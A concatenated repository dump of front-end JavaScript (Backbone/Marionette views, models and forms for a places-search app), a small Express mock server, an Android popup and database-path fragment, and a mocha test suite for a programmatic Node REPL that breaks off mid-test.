public SQLiteDatabase openOrCreateDatabase(String name, int mode, SQLiteDatabase.CursorFactory factory,
DatabaseErrorHandler errorHandler) {
SQLiteDatabase result = SQLiteDatabase.openOrCreateDatabase(getDatabasePath(name), null);
return result;
}
@Override
public File getDatabasePath(String name) {
File parentFile = new File(Environment.getExternalStorageDirectory() + File.separator +
"smartDB" + File.separator);
if (!parentFile.exists()) {
boolean mkParentRes = parentFile.mkdirs();
}
File realDBFile = new File(parentFile, name);
if (!realDBFile.exists()) {
try {
realDBFile.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
return realDBFile;
}
}<file_sep>package com.test.totaldemp.view;
import android.app.Activity;
import android.content.Context;
import android.graphics.drawable.ColorDrawable;
import android.util.DisplayMetrics;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.widget.PopupWindow;
import com.test.totaldemp.R;
/**
* Created by Administrator on 2018/7/9.
*/
public class TestPopWindow extends PopupWindow {
Context mContext;
private LayoutInflater mInflater;
private View mContentView;
public TestPopWindow(Context context) {
super(context);
this.mContext = context;
mInflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
mContentView = mInflater.inflate(R.layout.layout_pop_test, null);
setContentView(mContentView);
//设置宽与高
DisplayMetrics dm = new DisplayMetrics();
((Activity) mContext).getWindowManager().getDefaultDisplay().getMetrics(dm);
setHeight(WindowManager.LayoutParams.WRAP_CONTENT);
setWidth((int) (dm.widthPixels * 0.8));
setBackgroundDrawable(new ColorDrawable());
/**
* 设置可以获取集点
*/
setFocusable(true);
/**
* 设置点击外边可以消失
*/
setOutsideTouchable(true);
/**
*设置可以触摸
*/
setTouchable(true);
setTouchInterceptor(new View.OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
/**
* 判断是不是点击了外部
*/
if(event.getAction()==MotionEvent.ACTION_OUTSIDE){
return true;
}
//不是点击外部
return false;
}
});
/**
* 设置进出动画
*/
setAnimationStyle(R.style.TestPop);
}
@Override
public void showAsDropDown(View anchor) {
super.showAsDropDown(anchor);
}
}
| 7159ba722a290912349857d1cf14e17bc7930219 | [
"Java"
] | 13 | Java | zk5818/TotalDemo | a0c316ae524c88367cb43dcbcaf65de584064d90 | 22b9f3a204166dfa02955fe8b2e080bb6da7a6a2 |
refs/heads/master | <repo_name>ProjectMaker/koala-frontend<file_sep>/js/koala/build/lib/autocomplete/ItemView.js
define(['module'
,'underscore'
,'backbone'],
function( module
,_
,Backbone
) {
var AutoCompleteItemView = Backbone.View.extend({
tagName: "li",
template: _.template('<a href="#"><%= label %></a>'),
events: {
"click": "select"
},
initialize: function(options) {
this.options = options;
},
render: function () {
this.$el.html(this.template({
"label": this.model.label()
}));
return this;
},
select: function () {
this.options.parent.hide().select(this.model);
return false;
}
});
return AutoCompleteItemView;
});<file_sep>/js/koala/build/modules/UserStory1/views/TopList.js
define(['module'
,'underscore'
,'backbone'
,'backboneMarionette'
,'UserStory1/config'
,'UserStory1/collections/Places'
,'text!UserStory1/templates/TopList.html'
,'backboneRelational'],
function( module
,_
,Backbone
,Marionette
,conf
,Places
,TplTop
) {
var PlaceItemView = Marionette.ItemView.extend({
template: _.template("<%= name %><br><img src='<%= img%>' />"),
tagName: 'li'
});
var PlaceListView = Marionette.CollectionView.extend({
tagName: 'ul',
className: 'top-list-theme',
childView: PlaceItemView
});
var TopListView = Marionette.CompositeView.extend({
template: _.template(TplTop),
childView: PlaceItemView,
childViewContainer: '.top-list-themes',
refresh: function(theme) {
this.children.each( function(view) {
if ( view.collection.at(0).get('theme').get('code') == theme.get('code') ) {
view.$el.show();
}
else view.$el.hide();
}, this);
},
initialize: function() {
this.name = 'top';
},
buildChildView: function(model) {
return new PlaceListView({collection: model.get('places')});
},
onRender: function() {
this.children.each( function(view) { view.$el.hide() });
this.children.findByIndex(0).$el.show();
},
remove: function() {
console.log('remove toplist');
Marionette.ItemView.prototype.remove.apply(this, arguments);
}
});
return TopListView;
});<file_sep>/js/koala/build/external/jquery-ui-private.js
define(['jquery'],
function($) {
var hasAddedCss = false;
UICss = {
add: function() {
if ( !hasAddedCss ) {
console.log('ioio');
var linkCss = $('<link>');
$(linkCss).attr('rel','stylesheet');
$(linkCss).attr('type','text/css');
$(linkCss).attr('href',conf.pathCss + "/jquery-ui-1.8.23.custom.css");
$("head").append(linkCss);
hasAddedCss = true;
}
}
}
UICss.add();
}
);
<file_sep>/js/koala/build/external/jqueryplugin/Freezer.js
define(['jquery',
'underscore'],
function($,_) {
var Freezer = function Freezer(target, settings) {
this._defaults = {
className: 'UIFreezer',
zIndex: 199
};
$.extend(this._defaults, settings);
this._defaults.classNameContainer = 'UIFreezerContainer';
this._scrollTimeout = null;
this.render();
}
$.extend(Freezer.prototype, {
getDocHeight: function() {
var db = document.body;
var dde = document.documentElement;
var docHeight = Math.max(db.scrollHeight, dde.scrollHeight, db.offsetHeight, dde.offsetHeight, db.clientHeight, dde.clientHeight);
return docHeight;
},
render: function() {
var container = $('<div></div>');
$(container).addClass(this._defaults.classNameContainer);
$(container).css('zIndex',this._defaults.zIndex);
$(container).width($(document).width());
$(container).height($(document).height());
var content = $('<div></div>');
$(content).addClass(this._defaults.className);
$(content).css('zIndex',this._defaults.zIndex + 1);
$(container).append(content);
$(document.body).append($(container));
$(window).bind('scroll', $.proxy(this.showScroll, this));
$(window).bind('resize', $.proxy(this.setPosition, this));
},
showResize: function() {
$('.' + this._defaults.classNameContainer).height(document.body.clientHeight);
},
showScroll: function() {
var oThis = this;
if ( this._scrollTimeout ) clearTimeout(this._scrollTimeout);
this._scrollTimeout = setTimeout(function() { oThis.setPosition.apply(oThis) }, 10);
},
setPosition: function() {
var scrollTop = $(document).scrollTop();
var width = window.innerWidth;
var height = window.innerHeight;
var contentTop = ( height / 2 ) - ( $('.' + this._defaults.className).height() / 2 ) + scrollTop;
var contentLeft = ( width / 2 ) - ( $('.' + this._defaults.className).width() / 2 );
$('.' + this._defaults.className).css('top', contentTop + 'px');
$('.' + this._defaults.className).css('left', contentLeft + 'px');
},
show: function() {
this.setPosition();
$('.' + this._defaults.classNameContainer).show();
},
hide: function() {
$('.' + this._defaults.classNameContainer).hide();
},
dispose: function() {
this._scrollTimeout = null;
$(window).unbind('scroll', $.proxy(this.showScroll, this));
$(window).unbind('resize', $.proxy(this.setPosition, this));
$('.' + this._defaults.classNameContainer).remove();
}
});
return Freezer;
}
);<file_sep>/js/koala/build/lib/form/editors/Select.js
define(['module'
,'underscore'
,'backboneForms'],
function( module
,_
) {
var Select = Backbone.Form.editors.Select.extend({
setOptions: function(options) {
if ( _.isString(options) ) options = eval(options);
if ( _.isFunction(options) ) {
var result = options();
this.renderOptions(result);
}
else Backbone.Form.editors.Select.prototype.setOptions.apply(this, arguments);
this.$el.get(0).selectedIndex = 0;
},
_collectionToHtml: function(collection) {
var array = [];
collection.each(function(model) {
array.push({ val: model.get(this.schema.modelKeys.key), label: model.get(this.schema.modelKeys.value) });
}, this);
//Now convert to HTML
var html = this._arrayToHtml(array);
return html;
}
});
return Select;
});<file_sep>/js/koala/build/modules/UserStory1/utils/GroupCriteriaNameFactory.js
define(['underscore'],
function(_) {
var instance = null;
var GroupCriteriaNameFactory = function GroupCriteriaNameFactory( ) {
if ( instance !== null ) throw new Error('Cannot instantiate more than one GroupCriteriaNameFactory');
this.initialize();
}
_.extend(GroupCriteriaNameFactory.prototype, {
initialize: function() {
this.name = null;
},
getName: function() {
if ( !this.name ) {
this.name = 65;
}
else {
this.name++;
}
return String.fromCharCode(this.name);
},
addName: function(name) {
if ( this.name < name.charCodeAt(0) ) this.name = name.charCodeAt(0);
}
});
GroupCriteriaNameFactory.getInstance = function() {
if ( instance === null ) instance = new GroupCriteriaNameFactory();
return instance;
}
return GroupCriteriaNameFactory.getInstance();
});
<file_sep>/js/koala/build/modules/UserStory1/views/FormSearch.js
define(['module'
,'underscore'
,'jquery'
,'lib/utils/Store'
,'UserStory1/models/City'
,'UserStory1/models/Country'
,'UserStory1/models/Theme'
,'lib/form/editors/Select'
,'lib/form/editors/Checkboxes'
,'lib/autocomplete/AutoCompleteView'
,'text!UserStory1/templates/FormSearch.html'
,'text!UserStory1/templates/FormField.html'
,'backboneForms'],
function( module
,_
,$
,store
,City
,Country
,Theme
,KlSelect
,KlCheckboxes
,AutoCompleteView
,TplFormSearch
,TplFormField
) {
var FormSettings = Backbone.Form.extend({
template: _.template(TplFormSearch),
Field: Backbone.Form.Field.extend({
template: _.template(TplFormField)
}),
i18n: {
country: 'Pays',
city: 'Ville',
themes: 'Themes'
},
schema: {
'country': {
fieldClass: 'searchcountry',
type: 'Text',
validators: ['required']
},
'city': {
type: 'Text',
fieldClass: 'searchtown',
validators: ['required']
},
'themes': {
fieldClass: 'searchtheme',
type: KlCheckboxes,
options: [],
modelKeys: { key: 'code', value: 'name' }
}
},
initialize: function(options) {
Backbone.Form.prototype.initialize.apply(this, arguments);
this.fields['themes'].schema.options = store.get('themes');
this.acCityView = null;
this.addSchemaTitles();
},
addSchemaTitles: function() {
_.each(this.schema, function(schema, key) {
this.fields[key].schema.title = this.i18n[key];
}, this);
},
onSelectCity: function(city) {
this.fields['themes'].$el.show();
},
onSelectCountry: function(country) {
var country = store.get('countries').findWhere({name: country.get('name')});
if ( this.acCityView ) {
this.fields['city'].setValue('');
this.fields['themes'].$el.hide();
this.acCityView.remove();
}
this.acCityView = new AutoCompleteView({input:$('.city', this.el), minKeywordLength:0, model: country.get('cities'), onSelect: _.bind(this.onSelectCity, this)}).render();
this.fields['city'].$el.show();
},
addContents: function() {
new AutoCompleteView({input:$('.country', this.el), model: store.get('countries'), minKeywordLength:0, onSelect: _.bind(this.onSelectCountry, this)}).render();
},
addEvents: function() {
$('.bt-valid-form', this.el).bind('click', _.bind( function() {
var error = this.validate();
if ( _.isEmpty(error) ) {
this.commit();
this.trigger('valid', this.model);
}
}, this));
},
render: function() {
Backbone.Form.prototype.render.apply(this, arguments);
this.addContents();
this.addEvents();
if ( !this.model.get('city') ) this.fields['city'].$el.hide();
if ( !this.model.get('themes') ) this.fields['themes'].$el.hide();
return this;
}
});
return FormSettings;
});<file_sep>/js/koala/build/modules/UserStory1/models/City.js
define(['module'
,'UserStory1/config'
,'backboneRelational'],
function( module
,conf
) {
var City = Backbone.RelationalModel.extend({
defaults: {
name: '',
code: ''
},
label: function( ) { return this.get('name'); }
});
City.setup();
return City;
});<file_sep>/server.js
var express = require("express");
var morgan = require("morgan");
var bodyParser = require("body-parser");
var methodOverride = require("method-override");
var argv = require('optimist').argv;
var users = require("./mock/users");
var app = express();
app.use('/js', express.static(__dirname + '/js'));
app.use(morgan('dev')); // log every request to the console
app.use(bodyParser.urlencoded({'extended':'true'})); // parse application/x-www-form-urlencoded
app.use(bodyParser.json()); // parse application/json
app.use(methodOverride());
app.get('/api/user', function(req, res) {
res.json(users);
});
//application -------------------------------------------------------------
app.get('/', function(req, res) {
res.sendfile('index.html');
});
app.listen(8080, argv.fe_ip);
console.log("App listening on port 8080");
<file_sep>/js/koala/build/modules/UserStory1/collections/Places.js
define(['module'
,'underscore'
,'backbone'
,'UserStory1/config'
,'UserStory1/models/Place'
,'backboneRelational'
,'backbonePaginator'],
function( module
,_
,Backbone
,conf
,Place
) {
var Places = Backbone.PageableCollection.extend({
url: conf.urlSync + '/Place',
model: Place,
mode: 'client',
initialize: function() {
//this.setPageSize(5);
},
comparator: function(item) {
return -(item.get('rating'));
},
getTheme: function(themeCode) {
return _.find(this.models, function(model) { return model.get('theme').get('code') == themeCode});
}
});
return Places;
});<file_sep>/js/koala/build/external/jqueryplugin/tabpageresult.js
define(['jquery','underscore'],
function($,_) {
function TabPageResult(target, options) {
console.log('TabPageResult');
this.setOptions(options);
}
$.extend(TabPageResult.prototype, {
setOptions: function(hOptions) {
var opt = {
table_id : 'resultTable',
highlight_class:'HighLight',
header_checkbox: 'resultTableHdrChkbx',
sort_template: '<a href="index.cfm?sortElement={EL}&sortOption={OPT}">{LBL}</a>',
sortable_elements:'',
sort_element: '',
sort_options: ['asc','desc'],
sort_option: 'desc',
sort_class: { asc: 'tabOrderAsc', desc:'tabOrderDesc' },
checkboxes_name: 'ListItem',
alert_title:'Warning',
alert_message:'You must check at least one item',
header_pos:0,
start_row:1,
non_clickable_col:[0],
page_location:'',
href_params: [],
href_global_params: {},
href: {
'new': {
url: '#',
layout:'tab',
title: null,
valid_handler:function() { return true; }
},
'newfromtemplate':{
url: '#',
layout:'popup',
depend:'new',
title: null,
valid_handler:function() { return true; }
},
'saveasmodel':{
url: '#',
layout:'popup',
title: null,
valid_handler:function() { return true; }
},
'loadmodel':{
url: '#',
layout:'popup',
title: null,
valid_handler:function() { return true; }
},
'copy':{
url:'#',
layout:'tab',
title: null,
valid_handler:function() { return true; },
iframe_id: 'copy_' + this._genId()
},
'rename': {
url:'#',
layout:'popup',
title: null,
height:320,
width:880,
valid_handler:function() { return true; }
},
'edit':{
url:'#',
layout:'tab',
title: null,
valid_handler:function() { return true; }
},
'preview':{
url: '#',
layout:'popup',
title: null,
valid_handler:function() { return true; }
},
'load':{
url: '#',
layout:'popup',
title: null,
valid_handler:function() { return true; }
},
'delete':{
url:'#',
layout:'popup',
title: null,
width:880,
valid_handler:this.check_checkboxes.bind(this)
},
'move':{
url:'#',
layout:'popup',
title: null,
width:500,
valid_handler:this.check_checkboxes.bind(this)
}
}
}
_.each(hOptions.href, function() {
console.log(arguments);
}, this);
/*
for (var i in hOptions.href) {
try {
hOptions.href[i] = Object.extend(opt.href[i] || {}, hOptions.href[i]);
}
catch(oExc){}
}
this.options = Object.extend(opt,hOptions);
this.options.href = $H(this.options.href);
if ( this.options.href_params.length <= 0) {
this.options.href_params.push({});
}
var k = this.options.href.keys();
for(var i=0; i<k.length; i++){
if (typeof this.options.href[k[i]].valid_handler == 'undefined'){
this.options.href[k[i]].valid_handler = this._true;
}
if (typeof this.options.href[k[i]].layout == 'undefined'){
this.options.href[k[i]].layout = 'tab';
}
}
*/
},
check_checkboxes: function() {
},
_genId: function() {
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123459789';
var value = '';
var rnum;
for (var i = 0; i < 16; i++) {
rnum = Math.floor(Math.random() * chars.length);
value += chars.substring(rnum, rnum + 1);
}
return 'TabPageResult' + value;
}
});
$.fn.tabPageResult = function(options) {
new TabPageResult(this, options);
//$(this).css('color', 'red');
/*
this.each(function() {
$(this).css('color', 'red');
});
*/
return this;
}
}
);
<file_sep>/js/koala/build/modules/UserStory1/app.js
define(['module'
,'backbone'
,'jquery'
,'lib/utils/Store'
,'UserStory1/config'
,'UserStory1/models/Country'
,'UserStory1/models/City'
,'UserStory1/models/Theme'
,'UserStory1/collections/Places'
,'UserStory1/views/ApplicationLayout'
],
function(module
,Backbone
,$
,store
,conf
,Country
,City
,Theme
,Places
,AppView
) {
$(document).ready(function() {
var MyApplication = Marionette.Application.extend({
regions: {
mainRegion: '#app'
},
initialize: function(options) {},
onStart: function() {
this.appView = new AppView();
this.mainRegion.show(this.appView);
}
});
var countries = new Backbone.Collection();
countries.add(new Country({code: 'EN', name: 'Angleterre'}));
countries.at(0).get('cities').add(new City({code: 'LONDON', name: 'Londres'}));
countries.add(new Country({code: 'FR', name: 'France'}));
countries.at(1).get('cities').add(new City({code: 'PARIS', name: 'Paris'}));
countries.at(1).get('cities').add(new City({code: 'LYON', name: 'Lyon'}));
countries.at(1).get('cities').add(new City({code: 'TOULOUSE', name: 'Toulouse'}));
store.add('countries', countries);
var themes = new Backbone.Collection();
themes.add(new Theme({code: 'R', name: 'Restaurants', color: 'green'}));
themes.add(new Theme({code: 'B', name: 'Bars', color: 'blue'}));
store.add('themes', themes);
var myApp = new MyApplication();
myApp.start();
});
});<file_sep>/js/koala/build/lib/utils/Store.js
define(['underscore'],
function(_) {
var instance = null;
var Store = function Store( ) {
if ( instance !== null ) throw new Error('Cannot instantiate more than one Store');
this.initialize();
}
_.extend(Store.prototype, {
initialize: function() {
this._store = {};
},
add: function(key,value) {
this._store[key] = value;
},
get: function(key) {
if ( !this._store[key] ) return;
return this._store[key];
}
});
Store.getInstance = function() {
if ( instance === null ) instance = new Store();
return instance;
}
return Store.getInstance();
});<file_sep>/js/koala/build/modules/Connexion/app.js
define(['module'
,'backbone'
,'jquery'
,'lib/utils/Store'
,'Connexion/config'
,'Connexion/collections/Users'
,'Connexion/views/AllUsers'
],
function(module
,Backbone
,$
,store
,conf
,Users
,AllUsersView
) {
$(document).ready(function() {
console.log('yo');
var users = new Users();
$.when(users.fetch()).then( function() {
$('#app').append(new AllUsersView({collection:users}).render().el);
}).fail(function() {
console.log('fail');
});
/*
var MyApplication = Marionette.Application.extend({
regions: {
mainRegion: '#app'
},
initialize: function(options) {},
onStart: function() {
this.appView = new AppView();
this.mainRegion.show(this.appView);
}
});
*/
/*
var myApp = new MyApplication();
myApp.start();
*/
});
});<file_sep>/js/koala/build/modules/UserStory1/models/PlaceSearch.js
define(['module'
,'UserStory1/config'
,'UserStory1/models/Theme'
,'backboneRelational'],
function( module
,conf
,Theme
) {
var SearchPlace = Backbone.RelationalModel.extend({
defaults: {
country: '',
city: '',
themes: []
},
relations: [{
type: Backbone.HasMany,
key: 'themes',
relatedModel: Theme
}],
});
SearchPlace.setup();
return SearchPlace;
});<file_sep>/js/koala/build/modules/UserStory1/views/MapList.js
define(['module'
,'jquery'
,'underscore'
,'backbone'
,'backboneMarionette'
,'UserStory1/config'
,'lib/utils/Map'
,'async!http://maps.google.com/maps/api/js?sensor=false'],
function( module
,$
,_
,Backbone
,Marionette
,conf
,map
) {
var MapPlaces = Marionette.ItemView.extend({
template: _.template("<div class='map-places' style='width:500px;height:380px;background-color:black;'></div>"),
tagName: 'div',
//className: 'map-places',
initialize: function() {
this.markers = [];
this.name = 'Map';
this.bindCollection();
},
bindCollection: function() {
/*
_.each(this.collection.models, function(theme) {
theme.get('places').bind('sync', this.addMarkers, this);
theme.get('places').bind('reset', this.addMarkers, this);
}, this);
*/
},
unbindCollection: function() {
/*
_.each(this.collection.models, function(theme) {
theme.get('places').unbind('sync', this.addMarkers);
theme.get('places').unbind('reset', this.addMarkers);
}, this);
*/
},
changeCollection: function(collection) {
/*
this.unbindCollection();
this.collection = collection;
this.bindCollection();
this.addMarkers();
*/
},
onRender: function() {
console.log('onRender');
map.add($('.map-places', this.el));
//this.addMarkers();
},
removeMarkers: function() {
_.each(this.markers, function(marker) {
google.maps.event.clearListeners(marker, 'click');
marker.setMap(null);
});
},
_addMarkers: function() {
this.removeMarkers();
//this.infowindow.close();
this.markers = [];
var bounds = new google.maps.LatLngBounds();
var anchor = '';
console.log(this.collection.at(0).get('places'));
_.each(this.collection.at(0).get('places').models, function(place) {
console.log('go');
var myLatlng = new google.maps.LatLng(place.get('geoloc')['lat'],place.get('geoloc')['lng']);
bounds.extend(myLatlng);
var marker = new google.maps.Marker({ position: myLatlng,
title:place.get('name') });
var oThis = this;
/*
google.maps.event.addListener(marker, 'click', function() {
console.log('ooo');
if ( oThis.infowindow.getContent() == this.title ) {
oThis.infowindow.content = null;
oThis.infowindow.close();
}
else {
oThis.infowindow.close();
oThis.infowindow.setContent(this.title);
oThis.infowindow.open(oThis.map,this);
}
});
*/
marker.setMap(map.map);
marker.setIcon('http://maps.google.com/mapfiles/ms/icons/' + this.collection.at(0).get('color') + '-dot.png')
this.markers.push(marker);
}, this);
map.map.fitBounds(bounds);
map.map.panToBounds(bounds)
//google.maps.event.trigger( map.map, 'resize');
//google.maps.event.trigger(map.map,'resize')
},
remove: function() {
//this.unbindCollection();
this.removeMarkers();
//conf.map.unbindAll();
map.remove($('.map-places', this.el));
Marionette.ItemView.prototype.remove.apply(this, arguments);
}
});
return MapPlaces;
});<file_sep>/js/koala/build/modules/Connexion/views/AllUsers.js
define(['module'
,'jquery'
,'underscore'
,'backbone'
,'backboneMarionette'
,'Connexion/config'
],
function( module
,$
,_
,Backbone
,Marionette
,conf
,map
) {
var UserView = Marionette.ItemView.extend({
tagName: 'li',
template: _.template("<b><%= pseudo %></b>")
});
var UsersView = Marionette.CollectionView.extend({
tagName: 'ul',
childView: UserView
});
return UsersView;
});<file_sep>/js/koala/build/modules/UserStory1/models/Place.js
define(['module'
,'UserStory1/config'
,'backboneRelational'],
function( module
,conf
) {
var Place = Backbone.RelationalModel.extend({
defaults: {
id: '',
name: '',
address: '',
geoloc: {},
rating: -1,
types: '',
img: '',
placeId: '',
reference: ''
}
});
Place.setup();
return Place;
});<file_sep>/js/koala/build/modules/Connexion/models/User.js
define(['module'
,'Connexion/config'
,'backboneRelational'],
function( module
,conf
) {
var User = Backbone.RelationalModel.extend({
defaults: {
pseudo: '',
password: ''
}
});
User.setup();
return User;
});<file_sep>/js/koala/build/lib/form/editors/Object.js
define(['module'
,'underscore'
,'backboneForms'],
function( module
,_
) {
var Object = Backbone.Form.editors.Object.extend({
render: function() {
//Get the constructor for creating the nested form; i.e. the same constructor as used by the parent form
var NestedForm = this.form.constructor;
//Create the nested form
this.nestedForm = new NestedForm({
schema: this.schema.subSchema,
model: this.form.model,
data: this.value,
idPrefix: this.id + '_',
Field: this.form.NestedField
});
this._observeFormEvents();
this.$el.html(this.nestedForm.render().el);
if (this.hasFocus) this.trigger('blur', this);
return this;
},
getNestedForm: function() { return this.nestedForm; }
});
return Object;
});<file_sep>/js/koala/build/modules/UserStory1/views/AllList.js
define(['module'
,'underscore'
,'backbone'
,'backboneMarionette'
,'UserStory1/config'
,'UserStory1/collections/Places'
,'text!UserStory1/templates/AllList.html'
,'text!UserStory1/templates/PlacesList.html'
,'backboneRelational'],
function( module
,_
,Backbone
,Marionette
,conf
,Places
,TplAllList
,TplPlacesList
) {
var PlaceItemView = Marionette.ItemView.extend({
template: _.template("<td><%= rating %></td><td><%= name %></td><td><%= address %></td>"),
tagName: 'tr'
});
var PlaceListView = Marionette.CompositeView.extend({
template: _.template(TplPlacesList),
childView: PlaceItemView,
childViewContainer: '.body-container-places',
events: {
'click .bt-previous': function() {
if ( this.collection.state.currentPage > 1 ) {
this.collection.getPreviousPage();
this.trigger('previous');
}
},
'click .bt-next': function() {
if ( this.collection.state.currentPage < this.collection.state.totalPages ) {
this.collection.getNextPage();
this.trigger('next');
}
}
},
ui: {
themeName: '.theme-name',
btPrevious: '.bt-previous',
btNext: '.bt-next'
},
initialize: function(options) {
this.name = 'all';
this.collection.bind('sync', this.refresh, this);
this.collection.bind('reset', this.refresh, this);
},
refresh: function() {
this.ui.themeName.html(this.collection.at(0).get('theme').get('name'));
}
});
var AllListView = Marionette.CompositeView.extend({
template: _.template(TplAllList),
childView: PlaceListView,
childViewContainer: '.all-list-themes',
refresh: function(theme) {
this.children.each( function(view) {
if ( view.collection.at(0).get('theme').get('code') == theme.get('code') ) {
view.$el.show();
}
else view.$el.hide();
}, this);
},
buildChildView: function(model) {
return new PlaceListView({collection: model.get('places')});
},
onRender: function() {
this.children.each( function(view) { view.$el.hide() });
this.children.findByIndex(0).$el.show();
}
});
return AllListView;
}); | 6c988a0f153a43e7efb1976a5c9a60c39d7b542b | [
"JavaScript"
] | 21 | JavaScript | ProjectMaker/koala-frontend | 39c3858fef7ced5bb4eb7c1a711b49941828c124 | 7c2efc3e5e5eaa2d761650030a8195184ca9bb77 |
refs/heads/master | <repo_name>maverickwoo/bap-callstrings-plugin<file_sep>/extractor.sh
#!/usr/bin/env bash
extract () {
local d=$1
shift
local f=$1
shift
printf "!!!Extract [%s/%s]:\n" $d $f
(cd $d;
(time bap-objdump $f -l ../../sqlite3 -l ../../sqlite3EZ -l ../../extractor "$@") 2>&1;
echo;
true
)
}
export -f extract
find -L testcases -name exe -print0 |
parallel -0 -k extract {//} {/} "$@"
<file_sep>/gen_tree.sh
#!/usr/bin/env bash
gen_tree () {
local d=$1
shift
local f=$1
shift
printf "!!!Generate Tree [%s/%s]:\n" $d $f
(cd $d;
ROOT=${1:-main} (time bap-objdump $f -l ../../sqlite3 -l ../../sqlite3EZ -l ../../callstringtree "$@") 2>&1;
echo;
true
)
}
export -f gen_tree
find -L testcases -name exe -print0 |
parallel -0 -k gen_tree {//} {/} "$@"
<file_sep>/Makefile
BB=bapbuild
PKGS=ocamlgraph,sqlite3EZ
all: callgraph.ml extractor.ml callstringtree.ml
$(BB) -pkgs $(PKGS) callgraph.plugin
$(BB) -pkgs $(PKGS) extractor.plugin
$(BB) -pkgs $(PKGS) callstringtree.plugin
| 8300f73df1484de17736833ba1ca99f77ca40177 | [
"Makefile",
"Shell"
] | 3 | Shell | maverickwoo/bap-callstrings-plugin | 859ffb1ef707226b50331f815d00113653c60061 | 3e89e1314b57e3a413944d33497ffe04ac89ae9c |
refs/heads/master | <file_sep>import React, { Component } from 'react'
import { BrowserRouter, Route} from 'react-router-dom';
import StreamCreate from './streams/StreamCreate'
import StreamDelete from './streams/StreamDelete'
import StreamEdit from './streams/StreamEdit'
import StreamShow from './streams/StreamShow'
import StreamList from './streams/StreamList'
import Header from './Header'
class App extends Component {
render() {
return (
<div>
<BrowserRouter>
<div>
<Header />
<Route path="/" exact component={StreamList} />
<Route path="/streams/new" component={StreamCreate} />
<Route path="/streams/edit" component={StreamEdit} />
<Route path="/streams/delete" component={StreamDelete} />
<Route path="/streams/show" component={StreamShow} />
</div>
</BrowserRouter>
</div>
)
}
}
export default App
| 11ecb017effeb53e47e5b53b7bea59efd89ff15f | [
"JavaScript"
] | 1 | JavaScript | clifton311/twitch_redux | 87dbeb8db0a489d7a5835835ac9826c3e0249fac | 35d8bbb0e3beced8eceaa459e85f038662235e09 |
refs/heads/master | <repo_name>aetheryx/programmatic-repl<file_sep>/test.js
/* global describe, it */
const chai = require('chai');
chai.use(require('chai-as-promised'));
const { expect } = chai;
const ProgrammaticREPL = require(`${__dirname}/index.js`);
const getREPL = (cfg, ctx = {}) => new ProgrammaticREPL({
includeNative: true,
includeBuiltinLibs: true,
indentation: 2
...cfg
}, ctx);
describe('initiation', () => {
it('should pass on configs properly without throwing', () => {
const REPL = getREPL();
expect(REPL.config).to
.deep.equal({
includeNative: true,
includeBuiltinLibs: true,
indentation: 2
});
});
it('should include native functions/objects', () => {
const REPL = getREPL();
expect(REPL.ctx).to
.be.an('object')
.that.includes.all.deep.keys(
'require',
'Buffer',
'__dirname',
'setTimeout',
'setInterval',
'setImmediate',
'clearTimeout',
'clearInterval',
'clearImmediate',
'process'
);
});
it('shouldn\'t include native functions/objects', () => {
const REPL = getREPL({ includeNative: false });
expect(REPL.ctx).to
.be.an('object')
.that.does.not.include.any.deep.keys(
'require',
'Buffer',
'__dirname',
'setImmediate',
'clearImmediate',
'clearInterval',
'clearTimeout',
'process'
);
});
it('should include native modules', () => {
const REPL = getREPL();
const { _builtinLibs } = require('repl');
expect(REPL.ctx).to
.be.an('object')
.that.includes.all.deep.keys(..._builtinLibs);
});
it('shouldn\'t include native modules', () => {
const REPL = getREPL({ includeBuiltinLibs: false });
const { _builtinLibs } = require('repl');
expect(REPL.ctx).to
.be.an('object')
.that.does.not.include.all.deep.keys(..._builtinLibs);
});
});
describe('execution', () => {
describe('direct executions', () => {
it('should keep types', async () => {
const REPL = getREPL();
expect(await REPL.execute('42')).to
.be.a('number')
.and.equal(42);
expect(await REPL.execute('\'foo\'')).to
.be.a('string')
.and.equal('foo');
expect(await REPL.execute('({ foo: \'bar\' })')).to
.be.an('object')
.and.deep.equal({ foo: 'bar' });
});
});
describe('variables', () => {
it('should keep variables in the same context', async () => {
const REPL = getREPL();
await REPL.execute('const foo = \'bar\'');
expect(await REPL.execute('foo')).to
.be.a('string')
.and.equal('bar');
});
it('should clear variables', async () => {
const REPL = getREPL();
await REPL.execute('const foo = \'bar\'');
await REPL.execute('.clear');
return expect(REPL.execute('foo')).to
.be.eventually.rejectedWith(/foo is not defined/);
});
it('should have variables passed in the context', async () => {
const REPL = getREPL({}, {
foo: 'bar'
});
expect(await REPL.execute('foo')).to
.equal('bar');
});
});
describe('underscore as the last output', () => {
it('should have _ as the output of the last command, or undefined if there are none', async () => {
const REPL = getREPL();
expect(await REPL.execute('_')).to
.equal(undefined);
await REPL.execute('42');
expect(await REPL.execute('_')).to
.equal(42);
});
});
describe('split brackets', () => {
it('should resolve 1-layer bracketed statements', async () => {
const REPL = getREPL();
await REPL.execute('if (true) {');
await REPL.execute('\'foo\'');
expect(await REPL.execute('}')).to
.equal('foo');
});
it('should resolve multi-layered bracketed statements', async () => {
const REPL = getREPL();
for (let i = 0; i < 50; i++) {
await REPL.execute('if (true) {');
}
await REPL.execute('\'foo\'');
for (let i = 0; i < 49; i++) {
await REPL.execute('}');
}
expect(await REPL.execute('}')).to
.equal('foo');
});
it('should support splitting callback-style calls', async () => {
const REPL = getREPL();
await REPL.execute('(() => {');
await REPL.execute('return \'foo\'');
expect(await REPL.execute('})()')).to
.equal('foo');
});
it('should kill the statement queue with .clear', async () => {
const REPL = getREPL();
await REPL.execute('if (true) {');
await REPL.execute('.clear');
expect(await REPL.execute('\'foo\'')).to
.equal('foo');
});
it('should show intermediate results with proper indentation', async () => {
const indentation = 4;
const REPL = getREPL({ indentation });
expect(await REPL.execute('if (true) {')).to
.equal(
// eslint-disable-next-line indent
`if (true) {
${' '.repeat(indentation)}...`
);
});
it('should display appended nested results properly', async () => {
const REPL = getREPL();
expect(await REPL.execute('if (true) {')).to
.equal(
// eslint-disable-next-line indent
`if (true) {
...`
);
expect(await REPL.execute('if (true) {')).to
.equal(
// eslint-disable-next-line indent
`if (true) {
if (true) {
...`
);
expect(await REPL.execute('\'foo\'')).to
.equal(
// eslint-disable-next-line indent
`if (true) {
if (true) {
'foo'
...`
);
expect(await REPL.execute('}')).to
.equal(
